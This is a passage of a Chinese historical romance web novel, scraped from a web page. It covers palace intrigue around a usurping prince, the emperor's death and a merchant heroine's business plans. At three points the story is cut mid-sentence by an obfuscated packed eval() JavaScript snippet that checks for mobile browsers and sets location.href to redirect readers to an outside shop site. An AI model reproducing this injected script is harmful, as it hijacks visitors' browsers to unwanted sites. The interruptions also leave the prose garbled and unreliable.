她眼圈也红了，不知是吓的还是委屈的：“我们跟你无冤无仇，要不是上头压着，何苦断你财路？那些孝敬银子，我、我都收得烫手，可我不敢不照办啊……” “所以是谁找的你们？”乐弗只盯着她，手里的火折子也没盖上。 刘夫人一哆嗦，嘴唇抖了抖：“是，是总兵府的一个管事，姓孙，我们都叫他孙管事。” 她说完，生怕乐弗不信，又赶紧补了一句：“旁的是真不知道了！我们夫妻就是办事的，哪敢问为什么呀？” 乐弗沉默着，火折子的光映在她脸上，忽明忽暗，看不出喜怒。 刘夫人瘫在地上，声音都带上了哭腔：“姑娘，我知道的只有这些，再多一个字我也说不出来了，我老娘还在后头呢，你、你……” 她再也说不下去，满眼都是乞求。 乐弗站起身，将手里的火折子重新拧上，塞到刘夫人手里，对着身后摆摆手。 齐宝和葛喜生上前将箱盖重新盖上，抬回原来的地方。 刘夫人这才放下心，身子一软，坐在地上使劲平复着呼吸。 “今夜叨扰了，夫人受惊，早些回去歇着吧。”乐弗低头看了她一眼，抬脚就往外走。 煞星是走了，可刘夫人的心仍悬在嗓子眼里，扑通扑通跳得生疼。 她瘫坐在台阶上，也顾不上屁股底下冰凉了，闭着眼，把刚才说的话在脑子里过了一遍—— 总兵府，孙管事，上头压着，不敢问为什么…… 对，是这么说的。 她仔仔细细又过了一遍，一个字一个字地抠，确认没说秃噜嘴，心里这才放松下来。 望着院子当中那口箱子，刘夫人忽然就觉得委屈，这叫个什么事儿…… “真是神仙打架，凡人遭殃！” 她撑着地想站起来，试了两回才站稳，等两条腿不再打颤了，才慢慢挪到那口箱子跟前。 掀开之后，里头满满一箱红通通的爆竹，光是看着头皮就一阵发麻。 不能留。 刘夫人去到井台边，艰难绞上一桶水，拎着沉甸甸的水桶走回箱子跟前，咬着牙往里一倒。 看你还响不响！ 哗啦一声，只见爆竹一个接一个的飘到上头，有的甚至还随着水流漫到地上。 “……” 她怔愣一下，扔下水桶伸手一捞，结果抓出一团湿乎乎的东西。 纸。 全是纸。 外头糊着红纸，里头塞的不知道是草还是什么，被水泡得稀烂，正顺着她的指缝往下淌。 刘夫人盯着手里那团红红的东西，缓了足足三息才反应过来： “小王八犊子！” 与此同时，一辆马车缓缓驶离椿树胡同，车帘在夜风里轻轻晃动。 乐弗靠上引枕，望着车顶那盏晃晃悠悠的小灯，忽然笑了一下。 这个时代也不是全无好处—— 每个人都活得战战兢兢，上头一句话，下头一条命，谁手里握着规矩，谁就能让别人低头。所以严刑峻法压下来的时候才会慌，人一慌，就没了判断力。 这多好，文明又体面的就把事儿给办了，手段不说多高，够用就行。 她闭上眼，脑子重新转起来。 孙管事那人她从小见惯了，里里外外操持着总兵府那一大摊子，能指使他亲自去递运所传话的，就只能是那对父子。 要么宗传辉，要么宗钦。 前者是绝无可能了。这两年辽东局势吃紧，宗伯父只差把铺盖卷搬进衙门里，哪有闲心管她那间小小车马行。 可若是宗钦……乐弗依旧想不通原因。 先前开那三间杂货铺时，他就明里挑刺暗里使绊子，三天两头让底下的差役上门盘查，就连入药用的硝磺，正经药铺里的东西，他也揪着不放，非说什么： “这东西，万一跑出边墙算谁的？” 那时乐弗也理解，毕竟他爹是总兵，做儿子的当然要替老子多提防些。 可辽安驿运是规矩买卖，该交的税一文不少，行得正坐得直，他凭什么还找茬？ 车顶那盏小灯仍在晃，乐弗有些疲惫地揉了揉眼睛。 最近也不知怎么了，歇得总是不好。稍微想点事情，脑袋就发沉，跟有人往里面塞了团棉花似的。 她打了个哈欠，眼眶里泛起一点水光。 算了，想不明白就不想了。她缩进引枕中，把斗篷往上拽了拽。 反正再有两天宗钦就得启程，这一走，怕是再难踏上辽东的地界，往后天高皇帝远的，俩人也不相干了。 再让他一回。 马车缓缓往前，车轮轧过青石板，声音闷闷的，像是隔了一层厚布。 乐弗的眼皮越来越沉。 她想撑着，可车顶那盏小灯，晃着晃着就变成了两盏，三盏，最后糊成一片昏黄的光。 头一歪，即刻便睡了过去。 马车停在衙署后巷的时候，已是寅正初刻。 齐宝和葛喜生跳下车辕，还没来得及活动活动腿脚，就见巷子深处有个人影走过来。 夜色深沉，看不清脸，可那身形步态，还有那不紧不慢的从容，他们太熟了。 两人同时站直了，低下头—— “公子。” 来人没理会他们，径直登上马车。 他俩对视一眼，识趣地退到墙根底下，背过身去，眼观鼻鼻观心，俩门神似的杵在那儿。 车帘一掀，锦缎引枕上，乐弗正安安静静蜷着，毫无防备。 宗钦解下身上的紫貂裘覆在她身上，严严实实地裹了一圈，这才俯下身去。 一手从膝弯下轻轻穿过，一手稳稳托住后背，一俯身便将人打横抱起，轻柔得如同揽起一片羽毛。 乐弗被裹在紫貂裘里，从头到脚只剩几缕碎发露在外头。那顶银鼠卧兔儿的白边，在黑紫的貂裘里陷着，窝着，只露出一点茸茸的尖儿，像是被什么庞然大物给吞了进去，挣都挣不脱。 他把她往怀里紧了紧，转身下车。 俩门神依旧站在墙根底下，听见角门合上的声音，这才转过身。 “走吧。” 二人跳上车辕，赶着车沿后巷往前走，齐宝从怀里摸出扁酒壶，拔开塞子灌了一口，递到身旁。 葛喜生接过来没喝，就那么攥着：“唉。” “叹什么气？” “咱俩也挺损的。” 齐宝愣了一下，随即苦笑着摇摇头：“损就损吧，吃谁的饭，端谁的碗。” “话是这么说……”葛喜生扭头往角门方向看了一眼，“我还是觉得小东家挺可怜，身边儿丫鬟、伙计、账房，有一个算一个，就连你我，都是公子的人。” 齐宝夺过酒壶又灌了一口，“兜儿里几两银子啊？你还可怜起人家了？” 葛喜生噎住，下意识摸摸怀里的钱袋子，没再吭声。 “行了。”看他还在那儿钻牛角尖，齐宝憋着坏来了一句，“起码那姓简的不是。” “公子防了这些年，把小东家身边儿围得铁桶一般，一个没看住，竟被那祖孙钻了空子。”葛喜生幸灾乐祸地笑出声。 “没办法，要怪就怪朝廷吧，非把辽东的乡试考场设在山东，将公子支走了。” “可见人算不如天算。”葛喜生笑得直抹眼泪，“听孙管事说，公子临走那天还嘱咐这个嘱咐那个的……” 提起这个，俩人笑得直拍大腿，车辕都跟着晃了晃。 马车往前走着，笑声渐渐淡下来。 “你说，以后小东家若是知道了，如何是好？” 齐宝斜他一眼：“尽说胡话。” 也许是胡话吧，葛喜生没再吱声。 他想，若他是小东家，万一哪天知晓一切，定要暴起砍人的。 夜风灌进脖子，他拢拢领口，没再往下想。 马车拐了个弯，渐渐消失在夜色中。 * 正月初三，城南安定门外停着七八辆马车，十几辆骡车亦是鞍辔齐整。 凡今科会试的举子，都赶在这两天动身，送行的人比赶考的人还多。 乐弗从车帘缝里探出半张脸，目光在人堆某处定住。 与此同时，正跟管家说话的简自澄，忽然像感应到什么似的，转过头来。 他生着一双略长的凤眼，眉目疏冷，轮廓分明。身形修挺健朗，立在风里，最外还披着件银尖白狐裘。 往那儿一站，脚下的雪都像是比别处干净些，远远看去，真如雪岭孤松，寒江霁月。 乐弗好多天没见着他了，只觉得这身打扮，跟这乱糟糟的人间隔着一层雾气似的。 可当他一靠近，那层雾气就淡了。 简自澄对上车帘缝里那双眼睛，嘴角一弯，周身的清冷顿时化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341551|199357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开，像辽东的雪原尽头，忽然洒下一片暖煦阳光。 车窗横在两人中间，远处家眷们的嘈杂、来来往往的人影，好像都被那层阳光滤掉了，滤得干干净净，什么都不剩。 就剩二人目光缠在一起，拉也拉不开…… “咳咳！” 车里头传来两声咳嗽，声音不大，但足够让两人回神。 沈德仪手里攥着手炉，靠在车壁上斜睨着这对年轻人，脸上写满了“我忍你们很久了”。 简自澄不慌不忙，朝车里头规规矩矩作了个揖：“伯母。” 沈德仪应了一声，拿手炉往自家闺女那边捅了捅。 乐弗这才从袖子里摸出一个佩囊来。 青缎面的，上头绣着芦苇和雁，针脚十分歪扭，几只雁胖得像鸭子。 “你凑合着用吧，图个寓意。”她把佩囊递过去，干巴巴地补了一句吉祥话：“嗯……祝你一路连科！” 简自澄看见那佩囊，嘴角又弯起来。 他没说话，只伸手接过佩囊，当着母女的面，直接系在了腰间的带子上。 青缎面压着银白的狐裘，风吹过来，佩囊轻轻摆动，那几只胖雁也跟着晃了晃。 “不凑合。”他抬头看着她，眼里带笑，“挺好的。” 沈德仪又咳嗽了一声，这回是真忍不住了：“行了！去吧，好好考，考完早点回来。” “伯母放心。”简自澄简短应了一声，转身往车队里去。 登上马车前，他忽然又回过头来。 见车帘缝里那双眼睛还在，他笑着冲乐弗挥挥手，这才钻进车厢。 浩浩荡荡的车队出发了。 “别看了，都走出老远了。” 乐弗没动，眼睛还盯着城门外，直到又被手炉戳了一下，她才放下车帘。 沈德仪斜睨着女儿，忽然笑了一声。 “？”乐弗不明所以。 “还凑合着用吧……”沈德仪学着女儿的腔调，自己先乐了，“小简倒是个实心眼，那几只鸭子胖成那样也肯挂腰上。” “那是大雁！”乐弗急了。 “行行行，大雁。”沈德仪笑着摆手，“大雁胖点儿也好，飞得稳当。” 乐弗幽幽瞪她一眼，也没绷住笑。 “说正经的，翰林院门生故旧满京城，小简这回若真中了进士……”沈德仪略微停顿，“他爹肯定要给他找关系留京的。” 车窗外的阳光照进来，落在乐弗脸上，明明暗暗。 沈德仪看着女儿，声音放轻了些：“你怎么打算？可要跟他呆在京城？” “他若留京，那我也去。” “你的车马行呢？你那些伙计呢？” “车马行有账房盯着。”乐弗不紧不慢地规划，“又不是离了我就不转了。再说京城也有买卖，也有驿运，去那儿再开一间就是。” “你心里有数就行。”沈德仪没再说别的，只把手炉往怀里拢了拢。 她想起夏天，两个孩子订亲那会儿了。 京里那头，从头到尾都没人露面，传话的去了一趟，只带回来三个字：“知道了。” 不冷不热，连句囫囵话都没有，明显不乐意。 若不是简怀明老爷子亲自登门来提，只靠两情相悦，这门亲怕是成不了。 虽说他退得早，可太子太傅的名头摆在那儿，她那太子表弟当年还正儿八经喊过人家老师。 沈德仪虽不喜简家，却看在他老人家亲自登门，给足女儿脸面的份上，这才点头。 点头归点头，可简老爷子又能活多久呢？等他一走，乐弗就得独自面对简家那些人…… 想到这儿沈德仪心里直犯堵，气得把那罪魁祸首拖出来痛骂。 太子卫峥。 当年，他非说什么朝中根基不稳，弟弟和藩王又虎视眈眈，自己睡不踏实…… 睡不踏实就去找太医！跑来求她干什么！ 结果就是夫妻俩抛家舍业地窝在辽东，给表弟当后路，一守就是十七年。 累得闺女籍籍无名不说，好歹也是半个皇亲国戚，往后嫁了人，竟还得看那帮清贵的眼色！ 真是个挨千刀的东西！ 在心里骂完最后一句，沈德仪靠上引枕，闭目养神。 此时此刻，千里之外的东宫。 的确有一把刀正横在卫峥的脖子上。 利刃冰凉，贴着皮肉，再进一分就能割开喉咙。 他跪在地上，双臂被人反剪，被迫仰起头。 而他的弟弟卫嵘，正站在台阶上，居高临下地看着他。 5. 囚亡 此时卫峥身边全是禁军，那些昨天还在向他行礼的人，现在连看都不敢看他一眼。 “大哥。” 卫嵘的声音在风里散开，声调平稳，“父皇病重，你监国也有些日子了，着实辛苦。” 殿外阶前仍有残雪积在砖缝里，冰得卫峥膝盖发僵，闻言他连眼皮都不曾抬一下。 卫嵘缓步走下台阶，一步一步来到卫峥跟前站定，屈膝蹲下，迫使二人视线平齐。 “这样吧，”他语气里带着点儿商量，“只要你能亲口说‘我不如你，储君之位让给你’，弟弟便送你出去，去凤阳，跟嫂子侄儿团聚。” 殿外又起了阵风，刮得檐角铜铃叮当作响。 见此人始终缄默不语，卫嵘轻笑一声，缓缓站直了身子。 “不说也无妨。”他转过身去，走了两步又停下，头也没回，“我不杀你，弑兄的骂名我可背不起，大哥就先在这儿住着吧，等想通了再说。” 说罢挥了挥手。 禁军将卫峥拖起来时，他忍不住回头望了一眼——弟弟正背对着他，看着远处的天空。 卫峥也顺着那个方向望去。 苍穹辽阔，万里无云。 * 他被关进了东宫后殿的屋子里。 这里冰冷狭窄，一张床，一张桌，一把椅子，窗户从外面钉死了，门也换了新锁，每天有人从门下方的小洞里推进来吃食。 第五天，小内侍来送饭的时候，卫峥忽然开口：“你叫什么？” 小内侍吓了一跳，手里的碗碟差点掉了，他慌慌张张地把饭推进去就要跑。 “别怕。”卫峥的声音从门里传出来，“我就问问。” “奴婢……奴婢叫长顺。” “长顺，每天都是你给我送饭？” “是。” “外面如何了？” 半晌没等来回答，卫峥叹了口气：“算了，你回去吧。” 长顺蹲在那个小洞跟前，犹豫了很久，想起一件事。 年前他给书房送炭，手冻木了拿不住东西，一筐炭全洒在地毯上，太子身边的内官冲过来就要打，他吓得抱头蹲下，等着那一脚踹下来。 “行了。”一道声音从里头传出来。 长顺抬头，看见太子站在门口，穿着常服，没什么架子。 “炭洒了再领就是，大冷天的，喝碗热汤再去当值。” 在长顺眼里，这位太子终究比他那位弟弟更仁厚些，实在不忍看卫峥平白折在这儿。于是他咬了咬牙： “皇上病势极重，太医院的人几乎都宿在乾清宫了。”小内侍的声音细弱，却顺着小洞稳稳飘进卫峥耳朵，“殿下……殿下可有什么话要带出去吗？” 里面沉默良久。 “有。”卫峥的声音传来，“只是如今东宫只进不出，你不怕吗？” 长顺咽了口唾沫：“您说就是。” “去找左都御史。”卫峥的声音很低，“告诉他继续辅佐卫嵘，藏好，不要反抗。” “奴婢记住了。” 当天夜里，长顺躺在通铺上，翻来覆去地烙煎饼。 隔壁铺的满寿在打鼾，再过去是连喜，睡觉蜷成一团，最里头是睡得四平八稳的守禄。 长顺忽然坐起来，摸黑挨个儿推醒他们，“起来，有事说。” 四个孩子披着衣裳，挤在通铺上，月光从窗缝里漏进来，照着四张脸庞，都是十二三的年纪，还带着没褪干净的稚气。 长顺压低声音，把卫峥的话跟几人交代一遍。 满寿先开口：“左都御史？那是什么官？” “是监察百官的官。”连喜说。 “这事我一人办不成。”长顺说，“咱们四个，也许能出去一个。” 三个人都看着他。 “西北角有个狗洞，是以前掏的，没人知道。”长顺出谋划策，“可从这儿到西北角，得过三道门，每一道都有禁军守着。” “那就闯？”满寿问。 长顺摇头，“得有人把禁军引开。” 没人说话了。 过了很久，守禄忽然开口：“我去，我跑得慢，被抓住就说迷路了，顶多挨顿打。” “可万一……”连喜没说下去。 “那我去送信儿，”满寿忽然道，“我跑得快。” 守禄看看他：“你识字？” “会几个。”满寿挠挠头，“太子教过。” “那我堵门，能挡一会儿是一会儿。”连喜说。 “好……到时我就跟满寿一起送信，咱俩分头跑，就这么定了。”长顺一拍大腿。 没人说不。 四个孩子你看着我，我看着你。 他们不知外面局势如何，也不知三道门后面有多少禁军，更不知左都御史府在哪儿，他们只是觉得，该去。 那便去。 连喜吸了吸鼻子：“就现在吧。” 外面月色清寒，浸在阶上泛起一片银光，远处更鼓沉闷，敲得几个孩子心头发紧。 子时了。 四道小身影贴着回廊慢慢往前挪动。 途中满寿忽然问了句：“那……那咱们要是死了，有人记得吗？” “太子记得。”守禄斩钉截铁。 连喜点点头：“那就行。” 而长顺没有出声。 夜风穿廊吹过，廊下灯笼轻摇，四个孩子依次而行，渐渐消失在回廊尽头。 * 丑初一刻，京城，锦什坊街。 沈城被院外那道急匆匆地拍门声吵醒了。 一旁的秦玉珍跟着坐起身子：“怎么了？” “你歇着，我去看看。”沈城披好裘衣出去，一开门，发现来的是左都御史徐仰光的心腹，周护卫。 此刻他一身夜行衣，满头大汗，气儿都没喘匀，张嘴就是： “太子、安国公，全完了！” 书房里的灯亮起。 “谋逆！给安国公定了这个罪名，说是从床底下搜出一顶冕冠来！昨日午时禁军围府搜出来的。”周护卫语速极快，“酉时押入昭狱，三更时分，邢审院已经详讫完了，说是流放！” 一股寒气从脚底窜上来，沈城强装镇定：“围府到审结，只用了一日？” “是。”周护卫点头，眼里也满是难以置信，“快得不合常理！” “流放去哪儿？”沈城追问。 周护卫摇头。 “沈老爷，不止呢。”他往前凑了凑，“有个小内侍，从东宫拼死逃了出来，说太子被肃王给囚禁了！我家大人一听，叫我来嘱咐您多加小心，安国公是明面上的武将，您是暗处的钱袋子。如今他一倒，只怕……”周护卫没说完，但意思到了。 “受累了，跑这一趟。”沈城从抽屉里摸出银子递过去。 周护卫没接，只抱了抱拳：“沈老爷多保重。”说完起身就走。 书房重新静下来，沈城疲惫地抹了把脸，靠在太师椅中望着烛火明灭，忽然低低笑了出来。 冕冠？从床底下搜出冕冠？这罪名荒唐得比市井猴戏还可笑。可偏偏就是这种拙劣的说辞，一夜之间，生生扳倒了一位国公。 这就是示威。是告诉所有还在观望的人：肃王掌权了，他卫嵘说你有罪，你就有罪。 秦玉珍不知何时来到书房门口，寝衣外只罩了件大毛披风，面色苍白。 沈城回过神，对着妻子勉强扯出一丝笑模样：“没事儿。” 怎么可能没事，秦玉珍心想。 安国公既已倒台，那下一个是谁？她家与太子沾亲带故，纵使藏得再深，能躲得过卫嵘上台后的大肆清算么…… 恐怕还真能。 此时，乾清宫里的药味浓得化不开，混着龙涎香，清苦香醇，竟诡异的好闻。 卫守雍躺在龙床上，眼睛半闭，胸口起伏微弱。他已这样躺了两天，水米未进，只凭一口气吊着。 龙床边的鼓凳上坐着卫嵘，他慢慢吹着茶沫，容貌清俊秀挺，眉眼间却半点也不像卫守雍。 “父亲。”卫嵘放下茶盏，声音温和，“您该下诏书了。” 卫守雍眼皮微颤，依旧闭目不睁。 “如今大哥被关在东宫，”卫嵘凑近些，压低声音，“安国公那个莽夫，不日便要发配到辽东充军，您要么快点儿死，要么快点儿写，算儿子求您了。” 字字大逆不道，他却语气平淡，如同闲话家常。 卫守雍依旧没反应，听着这些诅咒不怎么难过，思绪却飘远了，突然想起很多年前—— 自己从小病弱，十五岁封王，先帝可怜他身子不好，让他在京郊的潮白浦就藩。又怕别的藩王不满，于是用一些庄田，坞堡就将他打发了。 说是封地，不如说是京郊休养用的私产庄邑。想起那片小破地方，卫守雍艰难地扯了下嘴角，有点想笑。 他那时没有怨言，也不敢有。能在京城边上安稳度日，已是天大的福气。 安国公就是他在封地认识的。 傻乎乎的大头兵，除了一身功夫什么都没有，喂他几顿饱饭，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341552|199357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死心塌地认了主子，大狗一般。 他本想在潮白浦活到老死。 可先帝骤然离世，皇位竟传给了最小的皇弟，左都督趁机拥兵自重，逼朝廷赐其加九锡之礼。 这也就罢了，可那人竟还不满足，仍要撺掇皇弟削藩。 要削他们这些在封地里不临民、不掌兵，过得跟富贵闲人没两样的藩王。 他的亲弟弟，更是被逼得自焚明志，死后被赐了恶谥。 这不是欺负老实人么？为什么？ 后来想通了，有的人天生就没有良心，他不该浪费心思去琢磨。既然左右都是死，为何不搏一搏？ 也就是在那时，沈城前来见他，二人本是连襟，一家子自然不必多言。 他正屯兵缺钱，沈家又世代经营漕运，两边互为依仗，共谋大事，沈城自那起便成了他的心腹。 其实他也没把握成事，不过是想在临死之前扑腾一回。 可沈城真拿来了五十万两，杯水车薪却是雪中送炭。后来沈家叔父又送来三百万两，还有船，许多条能在运河上畅通无阻的船。 卫守雍至今记得那一刻的心情。 他大笑，他大喊，他拉着安国公和沈城一起，在潮白浦的春日里纵马撒欢儿。 再后来，他和安国公以清君侧为名起兵，五万燕云骑直逼京师。通州一战，大破八万禁军，安国公一刀将那劳什子左都督斩于马下。 往事如烟…… “父亲？”一道声音把他拉回现实。 卫守雍艰难地睁开眼，对上卫嵘殷切的目光。 这野种长得俊美，也不知郑氏跟谁生的，天生就坏。 见父亲终于肯看自己，卫嵘笑得十分无害：“您不写，儿子只好替您写了。只是到时玉玺盖得不端正，您可别怪罪。” 卫守雍忽然扯了下嘴角，很轻微，像嘲讽又像无奈。 这坏种肯定不会善罢甘休，收拾完安国公，就该查太子的钱袋子了。 对了，那些账册被他放哪儿了？ 卫守雍觉得自己真的要死了，想账册时，脑子里总会想起在潮白浦的那段日子。 潮白浦的春日，风是软的，带着泥土和青草的气味。庄子外头，麦苗刚抽穗，绿油油的一片，风一过，就像漾开的水波。 他和安国公还有沈城，就这么在田埂上坐着，谁也不说话。 远处农人牵着耕牛吆喝，近处有家雀在枝头叽喳。阳光暖呼呼地洒下来，晒得他骨头都酥了…… 记忆里的画面渐渐模糊，卫守雍的呼吸也越来越弱，他眼前阵阵发黑，内心却很平静。 账册已经备好了，放在最显眼又最不显眼的地方。卫嵘多疑，定会去翻，翻到了就会如获至宝。 就让这坏种去跟盐商们狗咬狗吧。 他能为沈家做的只有这些了，算是还了当年那份雪中送炭的情谊。 听闻沈家外孙女好事将近，可他这一去……凡是姻亲，必服三年重孝。到头来竟是他这将死之人，耽误了人家闺女的大好年华。 可江山礼制在前，他也无可奈何。生老病死，由不得人呐…… 视线彻底黑下去前，卫守雍脑海里最后浮现的，还是沈城那双凤眼。 坦荡，干净，还带着点儿笑意。 他想，那么漂亮的眼睛不该流泪，就让沈家人好好的过日子罢。 至于这京城，这天下，谁爱管谁管。 他累了。 卫守雍的呼吸终于停了。 卫嵘撂下茶盏，准备再劝两句，一转头，就发现父亲方才还微微起伏的胸腔，此刻彻底没了动静。 他略一怔。 龙床上的人静静躺着，和睡着了一样，甚至比睡着的时候还要安详。 卫嵘也不知道自己在哭什么。 这些年，他恨过皇权冰冷，怨过父亲偏心，怕过前路茫茫，可他心底深处，自始至终都敬着，爱着眼前这个男人。 如今人去灯灭，所有的怨怒转瞬成空，心口像是豁开道裂缝，空茫得发疼，他缓缓握上那只再无温度的手。 外面突然响起脚步声。 靴子踏在金砖上发出咚咚的响声，卫嵘听见了也没动，依旧紧紧攥着卫守雍的手。 脚步声停在门口，然后是心腹的声音： “王爷，太子逃了！” 卫嵘猛地一顿，忽然就明白了一件事： 从这一刻起，他再也没有父亲，也再也没有大哥。什么都没有了，只有那张空着的龙椅…… 真正的孤家寡人。 6. 广宁 正月十五这天，辽东赶考的车队终于走出辽西走廊，见到了山海关的城楼。 迁安驿的院子里，这些举子正忙着卸车，找房间，人人身上都带着一股关外的风沙味儿。 驿丞站在台阶上吆喝，驿卒们提着热水来回跑，院子里乱糟糟的全是人声。 “劳驾，让一让——” “哎，那是我的包袱！” “驿丞老哥，还有热水没有？” 就在这时，驿道那头传来一阵马蹄声。和普通的马蹄声还不一样，这动静太密太急，像暴雨砸在瓦片上。 院子里的人纷纷停了动作，扭头往驿道方向看。 不多时，一匹快马冲进来，马背上的人穿着急递铺的号衣，浑身都汗透了，他翻身下马高喊一句： “京城四百里加急！大行皇帝，龙驭上宾了！” 驿站里瞬间炸了锅。 有人手里的包袱“啪”地掉在地上，有人靠着墙，整个人像被抽了骨头，还有那老举子蹲下抱着头，嘴里反复念叨“三年又三年”。 没多久第二个信使也到了，带来一个更详细的消息：“太子失踪！肃王继位！” 驿站里彻底乱套了。 这群人里，真正关心江山社稷的没几个，他们不在意朝堂是不是换了人，而是在意国丧当头，二月的会试，还能不能照常开考。 就算开了，那殿试还办不办？ 这些人本就焦虑，这么一合计，各别几个举子心态彻底炸了，转身就往屋里冲：“收拾东西，回辽东！” 剩下那几个举子也迟疑了，思忖一番，不约而同地看向远处驿站大堂中，悠闲喝茶的两个人。 靠窗的是总兵官的儿子，炭盆边的是简大儒的孙子。 一个寒气砭骨，一个清润如玉。 几个举子想都没想，径直朝后者走去。 此刻，简自澄正坐在桌前，缓缓转着手里的茶盏。他想起多年前，祖父在信中提过的话： [乐弗一家是太子藏在辽东的外戚，等卫峥登基，她家定会一飞冲天。] 包括他自己也是这么盘算的。 这门亲事一成，往后京里的路就好走了，家里再清贵，还比得过跟皇权沾亲带故的乐弗吗？ 他想过很多。 想过太子登基后乐家的风光，想过自己入仕后的前程，想过带着乐弗回京，让那些人看看，他娶的可不是什么小官家的闺秀。 可他没想过太子会失踪。 肃王继位，定会大肆清算太子党，乐弗一家躲得过去吗？ 那他呢？ 这门婚事……还能继续吗？ 火盆里的炭噼啪爆了一声，把简自澄从片刻的恍惚中拉了出来。 他正烦躁时，几位举子已经走到近前了，七嘴八舌地问些在他看来蠢得没边儿的问题。 什么叫“这试还考不考”？ 肃王刚登基，急于掌权，自然要收买文官人心，就算顶着御史骂名也要开科取士。 几个蠢货，这点局势也摸不透，入朝为官也是浪费朝廷俸禄。 “诸位。”简自澄抬起头，脸上还是那副清和的样子，可怎么看怎么有点不对劲。像是温润的玉裂开一道缝，露出里头什么别的东西。 可惜几个举子太慌了，没看出来。 “肃王不像是顺位继的。”简自澄不紧不慢，“若贸然进京，赶上兵变可如何是好？” 几个举子面面相觑。 “回去吧。”他声音温和，像是在替几人着想，“等京城稳下来再说。” 宗钦背对着人群，听完简自澄这番信口开河，嘴角微微弯起，随后举起手中残茶一饮而尽。 他认为这卫守雍死得真是时候，乐弗就是再想嫁人，也得等三年后了。 三年。 说不上长，却也足以让很多事情发生。原本他打算在下一个驿站就动手，干净利落的，让简自澄这只画皮鬼永远留在这条进京的路上。 可现在想来，倒也不必那么急。 宗钦放下茶盏，起身往楼梯走去，路过人群时，余光扫过那张清俊温润的面孔。 真是可惜，明明都做好准备了。 * 等皇帝驾崩的消息传到辽东时，恰逢正月里，头一场雪化尽。 乐弗正坐在车马行的账房中，对着惨淡的生意犯愁。 现在官府封印过年，商号闭门歇业，伙计们也大多还在老家，账本上记得那些散碎银子，从年前挂到现在，看着就堵心。 “姑娘，夫人……”藤梨气喘吁吁，带着一身寒气跑进来。 “怎么。”乐弗头也不抬，“又要喊我回去绣嫁衣么。” 藤梨摆摆手，缓了好一会儿才开口：“不是！是皇上驾崩了！夫人吩咐，咱们府上得守三年国孝！” “……” 手中账本一合，乐弗靠回椅子，先长长地吐出口气。 她忽然想笑，又觉得不该，可笑意还是从嘴角漏出一些。 不是她没良心。 是那件嫁衣，从简自澄一走她就开始绣，手指头都扎肿了，绣出来的鸳鸯依旧像鸭子。 沈德仪天天在她耳边念叨，说眼看就到四月婚期，再不绣好，到时怎么见人？ 现在好了。 她终于可以心无旁顾的鼓捣生意。 乐弗靠在椅背上，望着房梁上那根晃悠悠的蛛丝，心中莫名松快。 “你有多久没吃炙肉了？” “啊？”藤梨不懂守孝跟炙肉有什么联系，却也老老实实回答，“好久了，上一次吃还是去年入冬。” “想不想去广宁搓一顿？” 藤梨心里天人交战。 一方面她时刻谨记公子的吩咐，不让姑娘离开辽阳，另一方面是广宁的炙肉在辽东境内声名最盛，滋味无人能及…… 大馋丫头眼巴巴望着乐弗，小声嘀咕：“从辽阳到广宁路途遥远，就是马车也要走上六天。夫人素来谨慎，断不肯叫姑娘涉险远行。” “你甭操心这个，就说吃不吃。” “吃！” “那就好办了，走！”乐弗当即起身，带着一摞账本，与藤梨坐上回家马车。 这些年，二道贩子她也做腻了。辽阳，开原、抚顺这三间杂货铺生意是不错，一年下来净利加一起不到两千两。 可开原现在不太平，互市也关了，只靠剩下那两间杂货铺子，实在供不起辽安驿运。 再加上辽阳车马行竞争激烈，还大多依附在晋商和齐商这类商帮之下混口饭吃。像她家这种无帮无派，又丢了官府差事的独立车行，在辽阳早已是举步维艰。 趁着车马尚在，人手未散，她必须尽快转移重心，另辟根基。 广宁，就是她选中的下一处立脚之地。 那里比辽阳更靠近关内与蒙古，是长途转输的必经之地。而且广宁还有马市，直接对接兀良哈三卫，是辽东最大的蒙古边贸市场。 重要的是，现在朝廷有开中法，商人运粮到边镇，粮入官仓，官府发给盐引，凭引就能去盐场支盐贩卖。 这盐引一转手就是银子，比单纯跑腿运货可强多了。 既然官府的差事接不着，那她接接军运散活、纳纳粮，总行了吧？ 马车停在衙署大院后巷，主仆俩急匆匆进了花厅。 饭桌上，乐弗将这个打算一说，没想到一向对她百依百顺，无有不应的老父亲，罕见地发了脾气。 “什么？”乐廷章的眉头拧得老高，“军运？纳粮？” 没等乐弗开口分辩，“啪”一声脆响，筷子重重拍在八仙桌上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341553|199357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“简直胡闹！” “军运那是儿戏吗？若是延误了时辰，损了粮草军械，你以为赔几两银子就能了事？真出了岔子，是要锁拿问罪的！” 沈德仪当即横他一眼：“嚷嚷什么！有话不会好好说？” 可这回乐廷章半分惧内的模样都没了，往前凑了凑，撸起袖子，势必要跟女儿掰扯清楚： 